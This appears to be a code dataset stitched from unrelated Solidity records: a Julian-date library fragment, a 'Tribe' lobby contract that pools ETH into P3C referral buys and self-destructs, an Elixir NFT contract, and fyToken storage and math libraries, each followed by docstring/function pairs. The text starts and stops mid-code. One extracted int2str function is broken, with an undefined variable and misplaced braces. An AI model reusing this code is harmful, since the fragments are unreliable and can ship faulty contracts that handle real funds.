uint256 c = uint256(z + a - p1_ - p2_); uint8 m = ((5 * c + 456) / 153).toUint8(); uint16 f = _toGCalDateHelper[m-3]; uint8 d = (c - f).toUint8(); if (m > 12) { y += 1; m -= 12; } return (d, m, y); } function _jdToDOW(JulianDate memory julianDate) private view returns (uint8) { uint256 dow = uint256(_clockModulo(julianDate.jdn + 2, 7)); return dow.toUint8(); } /** * @dev Take the floor of (x / y). Assumes y > 0. */ function _divideAndFloor(int256 x, int256 y) private pure returns (int256) { if (x >= 0) { // For positive division, floor is done by default. return x / y; } else { // For negative division, need to take the negative // of the ceiling of the positive division. return -((-x + y -1) / y); } } /** * @dev Modulo in solidity is a remainder. This returns the clock modulo * of (x % y). Assumes y > 0. */ function _clockModulo(int256 x, int256 y) private pure returns (int256) { return x - (y * _divideAndFloor(x, y)); } }
Determines the JD of the current block./
function currentBlockJD() public view returns (JulianDate memory) { int256 unixDelta = int256(_daysFromUnixEpoch()); return JulianDate(_unixEpochJD.jdn + unixDelta, 5); }
12,887,032
pragma solidity ^0.4.21; /*** * _____ _ _ * |_ _| __(_) |__ ___ ___ * | || '__| | '_ \ / _ \/ __| * | || | | | |_) | __/\__ \ * |_||_| |_|_.__/ \___||___/ * * v 1.0.0 * "If you want to go fast, go alone, if you want to go far go with others." * What? * -> Create a Tribe of any amount of members and Amounts in the lobby. * -> Put money into the Tribe, and when it hits the threshold, all members buy into Commonwealth on each other's masternode links. * -> Tribe contract self destructs after payout, but Lobby still lasts. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ contract Hourglass { function myTokens() public pure returns(uint256) {} function myDividends(bool) public pure returns(uint256) {} function buy(address) public payable returns(uint256) {} } contract Farm { mapping (address => address) public crops; function myCrop() public pure returns(address) {} function myCropTokens() public pure returns(uint256) {} function myCropDividends() public pure returns(uint256) {} } contract Crop { function buy(address) external payable {} } contract Lobby { event NewTribe(address indexed _from, address _tribe, uint _id, uint _amountOfmembers, uint _entryCost); mapping (uint256 => address) public tribes; uint256 public tribeNumber = 0; /** * User specifies how many members they want, and what the entry cost in wei is for a new tribe. * Creates a new contract for them, and buys them automatic entry. */ function createTribe(bytes32 name, uint256 amountOfmembers, uint256 entryCost) public payable returns (address) { require(amountOfmembers > 1 && entryCost > 0); address tribeAddress = new Tribe(tribeNumber, name, amountOfmembers, entryCost); tribes[tribeNumber] = tribeAddress; Tribe tribe = Tribe(tribeAddress); tribe.BuyIn.value(entryCost)(msg.sender); emit NewTribe(msg.sender, tribeAddress, tribeNumber, amountOfmembers, entryCost); tribeNumber += 1; return tribeAddress; } } /** * NodeForNode tribe contract. It is created by the lobby, and one time use. * If it fills up, it buys P3C with everyone's ref link, user can ask for refund, which sends back to them. * If a user has a crop setup, the functions will detect it and use it to buy tokens for. * Contract self destructs when it is used to clean the blockchain. */ contract Tribe { event TribeJoined(address indexed _from); event TribeCompleted(uint256 indexed _id, address indexed _from, uint size); Hourglass p3c; Farm farm; address internal farmAddress = 0x93123bA3781bc066e076D249479eEF760970aa32; mapping(address => bool) public waiting; address[] public members; uint256 public id; bytes32 public name; uint256 public size; uint256 public cost; uint256 public time; function Tribe(uint256 _id, bytes32 _name, uint256 _amountOfmembers, uint256 _cost) public { farm = Farm(farmAddress); name = _name; id = _id; size = _amountOfmembers; cost = _cost; time = now; } function waitingMembers() public view returns (uint256){ return members.length; } function BuyIn(address _user) payable public { require(msg.value == cost); // if a crop exists for a user, make that the user address address user = _user; if (farm.crops(_user) != 0x0){ user = farm.crops(_user); } require(waiting[user] == false); members.push(user); waiting[user] = true; emit TribeJoined(user); // Iterate through members and distribute tokens if (members.length >= size){ for (uint i=0; i<members.length;i++){ // Each member buys in using their own node. Tribe theory is a beautiful thing. Crop(members[i]).buy.value(cost)(members[i]); } emit TribeCompleted(id, user, size); // Send any extra dividends back to the first member selfdestruct(msg.sender); } } function amIWaiting() public view returns (bool) { address user = msg.sender; // if there is a crop for the user, use it. if (farm.crops(msg.sender) != 0x0){ user = farm.crops(msg.sender); } return waiting[user]; } function Refund() public { address user = msg.sender; // if there is a crop for the user, use it. if (farm.crops(msg.sender) != 0x0){ user = farm.crops(msg.sender); } require(waiting[user] == true); uint index = find(members, user); removeByIndex(members, index); waiting[user] = false; (msg.sender).transfer(cost); if (members.length == 0){ selfdestruct(msg.sender); } } function removeByIndex(address[] storage items, uint index) internal { if (index >= items.length) { return; } for (uint i = index; i < items.length-1; i++) { items[i] = items[i + 1]; } items.length--; } function find(address[] storage items, address value) internal view returns (uint) { uint i = 0; while (items[i] != value) { i++; } return i; } }
User specifies how many members they want, and what the entry cost in wei is for a new tribe. Creates a new contract for them, and buys them automatic entry./
function createTribe(bytes32 name, uint256 amountOfmembers, uint256 entryCost) public payable returns (address) { require(amountOfmembers > 1 && entryCost > 0); address tribeAddress = new Tribe(tribeNumber, name, amountOfmembers, entryCost); tribes[tribeNumber] = tribeAddress; Tribe tribe = Tribe(tribeAddress); tribe.BuyIn.value(entryCost)(msg.sender); emit NewTribe(msg.sender, tribeAddress, tribeNumber, amountOfmembers, entryCost); tribeNumber += 1; return tribeAddress; }
12,743,218
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "base64-sol/base64.sol"; import "./interfaces/IAcademy.sol"; import "./interfaces/ITreasure.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract Elixir is ERC721, ERC721Burnable, AccessControl { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); Counters.Counter private _tokenIdCounter; // Below owner is the owner for the purpose of setting the page details in opensea. address public owner = 0xc1c5da1673935527d4EFE1714Ef8dcbee12a9380; address public academy; address public treasure; struct Spagyria { uint256 amount; uint256 forgePrice; address chyme; address alchemistId; uint256 timeToMaturity; } // tokenId => Spagyria mapping(uint256 => Spagyria) public elements; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_, address _treasure) ERC721(name_, symbol_) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); treasure = _treasure; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } function setAcademy(address _academy) external onlyRole(DEFAULT_ADMIN_ROLE) { academy = _academy; } function setTreasure(address _treasure) external onlyRole(DEFAULT_ADMIN_ROLE) { treasure = _treasure; } function getSteadyRequired(uint256 tokenId) public view returns (uint256 steadyRequired, uint256 chymeAmount, uint256 timeToMaturity) { Spagyria memory myElixir = elements[tokenId]; (,, uint8 ratioOfSteady,uint8 decimals,) = IAcademy(address(academy)).getChymeInfo(address(elements[tokenId].chyme)); uint divisor = 10 ** decimals; return (((myElixir.amount * ratioOfSteady * uint256(myElixir.forgePrice)) / (100 * (divisor * divisor))) * (10 ** 18), myElixir.amount, elements[tokenId].timeToMaturity); } function safeMint( address _to, address _chyme, uint256 _forgePrice, uint256 _amount, uint256 _timeToMaturity ) public onlyRole(MINTER_ROLE) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(_to, tokenId); elements[tokenId] = Spagyria(_amount, _forgePrice, _chyme, msg.sender, _timeToMaturity); } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory name = string(abi.encodePacked('Elxir Spagyria #', toString(tokenId))); string memory description = "Elixir NFT Spagyria"; (int256 elixirCurrentSteadyValue, uint256 currentPrice, uint256 forgeConstant, uint256 timeLeft ) = calculateParams(tokenId); string memory attributes = generateAttributes( tokenId, elixirCurrentSteadyValue > 0 ? toString(uint256(elixirCurrentSteadyValue)) : int2str(elixirCurrentSteadyValue), currentPrice, forgeConstant ); string memory image = generateBase64Image( tokenId, timeLeft, elixirCurrentSteadyValue > 0 ? toString(uint256(elixirCurrentSteadyValue)) : int2str(elixirCurrentSteadyValue) ); return string( abi.encodePacked( 'data:application/json;base64,', Base64.encode( bytes( abi.encodePacked( '{"name":"', name, '", "description":"', description, '", "attributes":[', attributes, '], "image": "', 'data:image/svg+xml;base64,', image, '"}' ) ) ) ) ); } function calculateParams(uint256 tokenId) public view returns ( int256 elixirCurrentSteadyValue, uint256 currentPrice, uint256 forgeConstant, uint256 timeLeft ) { (address oracleAddress, , uint8 ratioOfSteady, uint8 decimals,) = IAcademy(address(academy)).getChymeInfo(elements[tokenId].chyme); currentPrice = uint256(IAcademy(academy).priceFromOracle(oracleAddress)); forgeConstant = elements[tokenId].forgePrice * ratioOfSteady / 100; elixirCurrentSteadyValue = (int256(currentPrice) - int256(forgeConstant)) * int256(elements[tokenId].amount) / int256(2 * 10**decimals); timeLeft = 0; if (elements[tokenId].timeToMaturity > block.timestamp) { timeLeft = (elements[tokenId].timeToMaturity - block.timestamp) / 86400; } return (elixirCurrentSteadyValue, currentPrice, forgeConstant, timeLeft); } function generateAttributes(uint256 tokenId, string memory elixirCurrentSteadyValue, uint256 currentPrice, uint256 forgeConstant) public view returns (string memory) { return string( abi.encodePacked( '{"display_type": "date", "trait_type": "Matures By", "value":',toString(elements[tokenId].timeToMaturity),'}', ',{"display_type": "number", "trait_type": "Forge Price", "value":',toString((elements[tokenId].forgePrice)),'}', ',{"display_type": "number", "trait_type": "Amount", "value":',toString((elements[tokenId].amount)),'}', ',{"display_type": "number", "trait_type": "Current Price", "value":',toString(currentPrice),'}', ',{"display_type": "number", "trait_type": "elixirCurrentSteadyValue Price", "value":',elixirCurrentSteadyValue,'}', ',{"trait_type": "Alchemist", "value":"',toHexString(uint160(elements[tokenId].alchemistId), 20),'"}', ',{"display_type": "number", "trait_type": "forgeConstant", "value":',toString(forgeConstant),'}' ) ); } function generateBase64Image(uint256 tokenId, uint256 timeLeft, string memory elixirCurrentSteadyValue) public view returns (string memory) { return Base64.encode(bytes(generateImage(tokenId, timeLeft, elixirCurrentSteadyValue))); } function generateImage(uint256 tokenId, uint256 timeLeft, string memory elixirCurrentSteadyValue) public view returns (string memory) { //display a treasure chest with remaining time in days and also a percentage to show progress 1825 = days in 5 years string memory treasureChest = ITreasure(treasure).generateTreasureChest(toString(timeLeft), toString(timeLeft*100/1825)); return string( abi.encodePacked( ITreasure(treasure).generateHeader(), '<text x="14" y="215" font-size="10px" font-family="Arial">Value - $</text>', '<text x="79" y="215" font-size="14px" font-family="Arial">',elixirCurrentSteadyValue,'</text>', '<text x="14" y="265" font-family="Arial">Alchemist</text>', '<text x="14" y="280" font-size="7px" font-family="Arial">',toHexString(uint160(elements[tokenId].alchemistId), 20),' </text>', '<line class="st9" x1="265.2" y1="90" x2="265.2" y2="300"/>', '</g>', treasureChest, '</svg>' ) ); } // from: https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/Strings.sol /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) private pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts an `int256` to its ASCII `string` decimal representation. */ function int2str(int256 i) private pure returns (string memory) { if (i == 0) return "0"; bool negative = i < 0; uint j = uint(negative ? -i : i); uint l = j; // Keep an unsigned copy uint len; while (j != 0) { len++; j /= 10; } if (negative) ++len; // Make room for '-' sign bytes memory bstr = new bytes(len); uint k = len - 1; while (l != 0) { bstr[k--] = bytes1(uint8(48 + uint256(l % 10))); l /= 10; } if (negative) { // Prepend '-' bstr[0] = '-'; } return string(bstr); } bytes16 private constant _ALPHABET = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) private pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _ALPHABET[value & 0xf]; value >>= 4; } require(value == 0, "HEX_L"); return string(buffer); } function burn(uint256 tokenId) public override(ERC721Burnable) { super.burn(tokenId); } }
Converts an `int256` to its ASCII `string` decimal representation./
function int2str(int256 i) private pure returns (string memory) { if (i == 0) return "0"; bool negative = i < 0; uint j = uint(negative ? -i : i); uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (l != 0) { bstr[k--] = bytes1(uint8(48 + uint256(l % 10))); l /= 10; } bstr[0] = '-'; } return string(bstr);
5,361,941
pragma solidity 0.7.4; enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW, MODULO_BY_ZERO } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')`. bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; /* solhint-disable-next-line no-inline-assembly */ assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } } abstract contract AdminStorage { /** * @notice The address of the administrator account or contract. */ address public admin; } abstract contract BalanceSheetStorage { struct Vault { uint256 debt; uint256 freeCollateral; uint256 lockedCollateral; bool isOpen; } /** * @notice The unique Fintroller associated with this contract. */ FintrollerInterface public fintroller; /** * @dev One vault for each fyToken for each account. */ mapping(address => mapping(address => Vault)) internal vaults; /** * @notice Indicator that this is a BalanceSheet contract, for inspection. */ bool public constant isBalanceSheet = true; } abstract contract CarefulMath { /** * @notice Adds two numbers, returns an error on overflow. */ function addUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { uint256 c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @notice Add `a` and `b` and then subtract `c`. */ function addThenSubUInt( uint256 a, uint256 b, uint256 c ) internal pure returns (MathError, uint256) { (MathError err0, uint256 sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } /** * @notice Integer division of two numbers, truncating the quotient. */ function divUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @notice Returns the remainder of dividing two numbers. * @dev Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). */ function modUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (b == 0) { return (MathError.MODULO_BY_ZERO, 0); } return (MathError.NO_ERROR, a % b); } /** * @notice Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint256 c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @notice Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } } abstract contract Erc20PermitStorage { /** * @notice The Eip712 domain's keccak256 hash. */ bytes32 public DOMAIN_SEPARATOR; /** * @notice keccak256("Permit(address owner,address spender,uint256 amount,uint256 nonce,uint256 deadline)"); */ bytes32 public constant PERMIT_TYPEHASH = 0xfc77c2b9d30fe91687fd39abb7d16fcdfe1472d065740051ab8b13e4bf4a617f; /** * @notice Provides replay protection. */ mapping(address => uint256) public nonces; /** * @notice Eip712 version of this implementation. */ string public constant version = "1"; } abstract contract Erc20RecoverStorage { /** * @notice The tokens that can be recovered cannot be in this mapping. */ Erc20Interface[] public nonRecoverableTokens; /** * @notice A flag that signals whether the the non-recoverable tokens were set or not. */ bool public isInitialized; } abstract contract Erc20Storage { /** * @notice Returns the number of decimals used to get its user representation. */ uint8 public decimals; /** * @notice Returns the name of the token. */ string public name; /** * @notice Returns the symbol of the token, usually a shorter version of * the name. */ string public symbol; /** * @notice Returns the amount of tokens in existence. */ uint256 public totalSupply; mapping(address => mapping(address => uint256)) internal allowances; mapping(address => uint256) internal balances; } abstract contract ExponentialStorage { struct Exp { uint256 mantissa; } /** * @dev In Exponential denomination, 1e18 is 1. */ uint256 internal constant expScale = 1e18; uint256 internal constant halfExpScale = expScale / 2; uint256 internal constant mantissaOne = expScale; } abstract contract FyTokenStorage { /** * STRUCTS */ struct Vault { uint256 debt; uint256 freeCollateral; uint256 lockedCollateral; bool isOpen; } /** * STORAGE PROPERTIES */ /** * @notice The global debt registry. */ BalanceSheetInterface public balanceSheet; /** * @notice The Erc20 asset that backs the borows of this fyToken. */ Erc20Interface public collateral; /** * @notice The ratio between mantissa precision (1e18) and the collateral precision. */ uint256 public collateralPrecisionScalar; /** * @notice Unix timestamp in seconds for when this token expires. */ uint256 public expirationTime; /** * @notice The unique Fintroller associated with this contract. */ FintrollerInterface public fintroller; /** * @notice The unique Redemption Pool associated with this contract. */ RedemptionPoolInterface public redemptionPool; /** * @notice The Erc20 underlying, or target, asset for this fyToken. */ Erc20Interface public underlying; /** * @notice The ratio between mantissa precision (1e18) and the underlying precision. */ uint256 public underlyingPrecisionScalar; /** * @notice Indicator that this is a FyToken contract, for inspection. */ bool public constant isFyToken = true; } abstract contract RedemptionPoolStorage { /** * @notice The unique Fintroller associated with this contract. */ FintrollerInterface public fintroller; /** * @notice The amount of the underyling asset available to be redeemed after maturation. */ uint256 public totalUnderlyingSupply; /** * The unique fyToken associated with this Redemption Pool. */ FyTokenInterface public fyToken; /** * @notice Indicator that this is a Redemption Pool contract, for inspection. */ bool public constant isRedemptionPool = true; } abstract contract ReentrancyGuard { bool private notEntered; /* * Storing an initial non-zero value makes deployment a bit more expensive * but in exchange the refund on every call to nonReentrant will be lower * in amount. Since refunds are capped to a percetange of the total * transaction's gas, it is best to keep them low in cases like this * one, to increase the likelihood of the full refund coming into effect. */ constructor() { notEntered = true; } /** * @notice Prevents a contract from calling itself, directly or indirectly. * @dev Calling a `nonReentrant` function from another `nonReentrant` function * is not supported. It is possible to prevent this from happening by making * the `nonReentrant` function external, and make it call a `private` * function that does the actual work. */ modifier nonReentrant() { /* On the first call to nonReentrant, _notEntered will be true. */ require(notEntered, "ERR_REENTRANT_CALL"); /* Any calls to nonReentrant after this point will fail. */ notEntered = false; _; /* * By storing the original value once again, a refund is triggered (see * https://eips.ethereum.org/EIPS/eip-2200). */ notEntered = true; } } library SafeErc20 { using Address for address; /** * INTERNAL FUNCTIONS */ function safeTransfer( Erc20Interface token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( Erc20Interface token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * PRIVATE FUNCTIONS */ /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it cannot be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(Erc20Interface token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = functionCallWithValue(address(token), data, "ERR_SAFE_ERC20_LOW_LEVEL_CALL"); if (returndata.length > 0) { /* Return data is optional. */ require(abi.decode(returndata, (bool)), "ERR_SAFE_ERC20_ERC20_OPERATION"); } } function functionCallWithValue( address target, bytes memory data, string memory errorMessage ) private returns (bytes memory) { require(target.isContract(), "ERR_SAFE_ERC20_CALL_TO_NON_CONTRACT"); /* solhint-disable-next-line avoid-low-level-calls */ (bool success, bytes memory returndata) = target.call(data); if (success) { return returndata; } else { /* Look for revert reason and bubble it up if present */ if (returndata.length > 0) { /* The easiest way to bubble the revert reason is using memory via assembly. */ /* solhint-disable-next-line no-inline-assembly */ assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface UniswapAnchoredViewInterface { /** * @notice Get the official price for a symbol. * @param symbol The symbol to fetch the price of. * @return Price denominated in USD, with 6 decimals. */ function price(string memory symbol) external view returns (uint256); } abstract contract AdminInterface is AdminStorage { /** * NON-CONSTANT FUNCTIONS */ function _renounceAdmin() external virtual; function _transferAdmin(address newAdmin) external virtual; /** * EVENTS */ event TransferAdmin(address indexed oldAdmin, address indexed newAdmin); } abstract contract BalanceSheetInterface is BalanceSheetStorage { /** * CONSTANT FUNCTIONS */ function getClutchableCollateral(FyTokenInterface fyToken, uint256 repayAmount) external view virtual returns (uint256); function getCurrentCollateralizationRatio(FyTokenInterface fyToken, address account) public view virtual returns (uint256); function getHypotheticalCollateralizationRatio( FyTokenInterface fyToken, address account, uint256 lockedCollateral, uint256 debt ) public view virtual returns (uint256); function getVault(FyTokenInterface fyToken, address account) external view virtual returns ( uint256, uint256, uint256, bool ); function getVaultDebt(FyTokenInterface fyToken, address account) external view virtual returns (uint256); function getVaultLockedCollateral(FyTokenInterface fyToken, address account) external view virtual returns (uint256); function isAccountUnderwater(FyTokenInterface fyToken, address account) external view virtual returns (bool); function isVaultOpen(FyTokenInterface fyToken, address account) external view virtual returns (bool); /** * NON-CONSTANT FUNCTIONS */ function clutchCollateral( FyTokenInterface fyToken, address liquidator, address borrower, uint256 clutchedCollateralAmount ) external virtual returns (bool); function depositCollateral(FyTokenInterface fyToken, uint256 collateralAmount) external virtual returns (bool); function freeCollateral(FyTokenInterface fyToken, uint256 collateralAmount) external virtual returns (bool); function lockCollateral(FyTokenInterface fyToken, uint256 collateralAmount) external virtual returns (bool); function openVault(FyTokenInterface fyToken) external virtual returns (bool); function setVaultDebt( FyTokenInterface fyToken, address account, uint256 newVaultDebt ) external virtual returns (bool); function withdrawCollateral(FyTokenInterface fyToken, uint256 collateralAmount) external virtual returns (bool); /** * EVENTS */ event ClutchCollateral( FyTokenInterface indexed fyToken, address indexed liquidator, address indexed borrower, uint256 clutchedCollateralAmount ); event DepositCollateral(FyTokenInterface indexed fyToken, address indexed account, uint256 collateralAmount); event FreeCollateral(FyTokenInterface indexed fyToken, address indexed account, uint256 collateralAmount); event LockCollateral(FyTokenInterface indexed fyToken, address indexed account, uint256 collateralAmount); event OpenVault(FyTokenInterface indexed fyToken, address indexed account); event SetVaultDebt(FyTokenInterface indexed fyToken, address indexed account, uint256 oldDebt, uint256 newDebt); event WithdrawCollateral(FyTokenInterface indexed fyToken, address indexed account, uint256 collateralAmount); } abstract contract Erc20Interface is Erc20Storage { /** * CONSTANT FUNCTIONS */ function allowance(address owner, address spender) external view virtual returns (uint256); function balanceOf(address account) external view virtual returns (uint256); /** * NON-CONSTANT FUNCTIONS */ function approve(address spender, uint256 amount) external virtual returns (bool); function transfer(address recipient, uint256 amount) external virtual returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external virtual returns (bool); /** * EVENTS */ event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed account, uint256 burnAmount); event Mint(address indexed account, uint256 mintAmount); event Transfer(address indexed from, address indexed to, uint256 value); } abstract contract Erc20PermitInterface is Erc20PermitStorage { /** * NON-CONSTANT FUNCTIONS */ function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external virtual; } abstract contract Erc20RecoverInterface is Erc20RecoverStorage { /** * NON-CONSTANT FUNCTIONS */ function _recover(Erc20Interface token, uint256 recoverAmount) external virtual; function _setNonRecoverableTokens(Erc20Interface[] calldata tokens) external virtual; /** * EVENTS */ event Recover(address indexed admin, Erc20Interface token, uint256 recoverAmount); event SetNonRecoverableTokens(address indexed admin, Erc20Interface[] nonRecoverableTokens); } abstract contract Exponential is CarefulMath, /* no dependency */ ExponentialStorage /* no dependency */ { /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError error, uint256 result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({ mantissa: result })); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b. * NOTE: Returns an error if (`num` * 10e18) > MAX_INT, or if `denom` is zero. */ function divExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 scaledNumerator) = mulUInt(a.mantissa, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({ mantissa: 0 })); } (MathError err1, uint256 rational) = divUInt(scaledNumerator, b.mantissa); if (err1 != MathError.NO_ERROR) { return (err1, Exp({ mantissa: 0 })); } return (MathError.NO_ERROR, Exp({ mantissa: rational })); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError err0, uint256 doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({ mantissa: 0 })); } /* * We add half the scale before dividing so that we get rounding instead of truncation. * See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 * Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. */ (MathError err1, uint256 doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({ mantissa: 0 })); } (MathError err2, uint256 product) = divUInt(doubleScaledProductWithHalfScale, expScale); /* The only possible error `div` is MathError.DIVISION_BY_ZERO but we control `expScale` and it's not zero. */ assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({ mantissa: product })); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3( Exp memory a, Exp memory b, Exp memory c ) internal pure returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) internal pure returns (MathError, Exp memory) { (MathError error, uint256 result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({ mantissa: result })); } } abstract contract FintrollerStorage is Exponential { struct Bond { Exp collateralizationRatio; uint256 debtCeiling; bool isBorrowAllowed; bool isDepositCollateralAllowed; bool isLiquidateBorrowAllowed; bool isListed; bool isRedeemFyTokenAllowed; bool isRepayBorrowAllowed; bool isSupplyUnderlyingAllowed; } /** * @dev Maps the fyToken address to the Bond structs. */ mapping(FyTokenInterface => Bond) internal bonds; /** * @notice The contract that provides price data for the collateral and the underlying asset. */ UniswapAnchoredViewInterface public oracle; /** * @notice Multiplier representing the discount on collateral that a liquidator receives. */ uint256 public liquidationIncentiveMantissa; /** * @notice The ratio between mantissa precision (1e18) and the oracle price precision (1e6). */ uint256 public constant oraclePricePrecisionScalar = 1.0e12; /** * @dev The threshold below which the collateralization ratio cannot be set, equivalent to 100%. */ uint256 internal constant collateralizationRatioLowerBoundMantissa = 1.0e18; /** * @dev The threshold above which the collateralization ratio cannot be set, equivalent to 10,000%. */ uint256 internal constant collateralizationRatioUpperBoundMantissa = 1.0e20; /** * @dev The dafault collateralization ratio set when a new bond is listed, equivalent to 150%. */ uint256 internal constant defaultCollateralizationRatioMantissa = 1.5e18; /** * @dev The threshold below which the liquidation incentive cannot be set, equivalent to 100%. */ uint256 internal constant liquidationIncentiveLowerBoundMantissa = 1.0e18; /** * @dev The threshold above which the liquidation incentive cannot be set, equivalent to 150%. */ uint256 internal constant liquidationIncentiveUpperBoundMantissa = 1.5e18; /** * @notice Indicator that this is a Fintroller contract, for inspection. */ bool public constant isFintroller = true; } abstract contract FyTokenInterface is FyTokenStorage { /** * NON-CONSTANT FUNCTIONS */ function borrow(uint256 borrowAmount) external virtual returns (bool); function burn(address holder, uint256 burnAmount) external virtual returns (bool); function liquidateBorrow(address borrower, uint256 repayAmount) external virtual returns (bool); function mint(address beneficiary, uint256 borrowAmount) external virtual returns (bool); function repayBorrow(uint256 repayAmount) 